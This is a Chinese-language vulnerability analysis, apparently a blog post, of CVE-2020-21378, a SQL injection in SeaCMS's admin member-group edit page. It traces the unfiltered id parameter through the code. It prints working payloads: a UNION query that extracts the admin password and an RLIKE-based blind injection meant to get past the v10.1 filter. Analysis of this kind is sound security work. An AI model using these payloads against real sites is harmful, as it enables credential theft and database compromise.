CVE-2020-21378(seacms后台SQL注入)
漏洞详情
CVE-2020-21378是海洋cms v10.1后台admin members group.php的编辑动作中的id参数SQL注入漏洞,
这个漏洞其实在很早的版本就存在了只不过一直没人发现而已,因为我刚好搭建有seacms v6.4版本,测试发现漏洞存在。与v10.1不同的是在v 6.4没有对输入的id变量值做任何过滤
漏洞分析
seacms在后台用户管理添加用户处(需要抓包获得url)
路径为:url/admin/admin_members_group.php?action=edit&id=2
common.php将通过GET、POST、COOKIE等方法提交的参数注册为变量
$id
变量没有经过什么过滤就直接插入到SQL语句中(360webscan.php会使用正则规则对注册的变量会进行检查,但对$id并没有任何检查),也没有引号包裹,十分好利用
跟进到sql.class.php中GetOen函数
给查询语句末尾加上 limit 0,1 限制查询一条语句 。然后传入Execute函数
这里会先对语句进行安全检查然后在执行,这里有一个前提是$this->safeCheck为True。使用外部变量初始化类并连接数据库时会赋值为True
但对于$id变量却没有这一步(就跟在common.php注册为变量没有经过360webscan.php的检查一样)
这里测试一下
在这里插入图片描述
这里如果$this->safeCheck
为True为True会输出1,这里一共进行了3次sql执行,但$id
变量这次却没有经过初始化,也就没有经过CheckSql函数的安全检查
可以任意构造注入语句
url/admin/admin_members_group.php?action=edit&id=-2%20union%20select%201,(select%20password%20from%20sea_admin),3,4,user(),6
在seacms v10.1版本中,在sql.class.php中GetOne中加入了对SQL语句的安全检查(上面的注入语句这里用不了)
注释掉这一行语句,依旧可以用
说明,只是在这里进行了安全检查,绕过就行了。跟进ChecKSql函数
会过滤的语句
下面这里的这个检查与先前审计过的duomicms的检查函数一样,是以单引号为界,把第一个引号前的语句给$clean
,最后原样返回$db_string
。
但这里检查的十分严格,能利用的基本过滤掉了
绕过方法参考https://xz.aliyun.com/t/2828#toc-3。但是这里禁用了报错函数之类的函数(绕过也没用)
这里使用RLIKE正则注入语句代替sleep(5)
/admin_members_group.php?action=edit&id=2 and if(mid(database(),1,1)='s',sleep(5),1) #sleep无效
admin_members_group.php?action=edit&id=2%20and%20if(mid(database()%2c1%2c1)%3d%27s%27%2cconcat(rpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27))%20rlike%20%27(a.*)%2b(a.*)%2b(a.*)%2b(a.*)%2b(a.*)%2b(a.*)%2b(a.*)%2bsuibianxiema%27%2c1)
参考:https://www.cnblogs.com/jinyanshenxing/p/15805060.html
我这里是windows+phpstudy 2018 没有延时效果
`
参考:https://www.cnblogs.com/jinyanshenxing/p/15805060.html
我这里是windows+phpstudy 2018 没有延时效果